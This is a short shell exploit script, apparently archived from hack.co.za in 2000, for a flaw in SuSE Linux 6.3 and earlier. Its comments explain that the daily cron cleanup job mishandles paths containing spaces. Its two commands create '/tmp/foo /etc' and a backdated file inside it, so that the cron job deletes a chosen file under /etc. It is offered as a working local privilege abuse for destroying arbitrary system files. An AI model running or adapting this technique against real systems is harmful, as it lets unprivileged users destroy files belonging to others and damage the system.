#!/bin/sh
# A vulnerability exists in SuSE Linux, version 6.3
# and prior, that can allow arbitrary users to delete
# any file on the system. If the MAX_DAYS_IN_TMP
# variable is set in /etc/rc.config to be larger than
# 0, any local user can remove any file on the system.
#
# This is due to a flaw in /etc/cron.daily/aaa_base
# in SuSE 6.3, or /root/bin/cron.daily in older
# versions.
#
# S.u.S.E. Linux 6.3
# S.u.S.E. Linux 6.2
# S.u.S.E. Linux 6.1
# S.u.S.E. Linux 6.0 

mkdir -p "/tmp/foo /etc"
touch -t old-date "/tmp/foo /etc/filetodelete"
#                    www.hack.co.za              [2000]#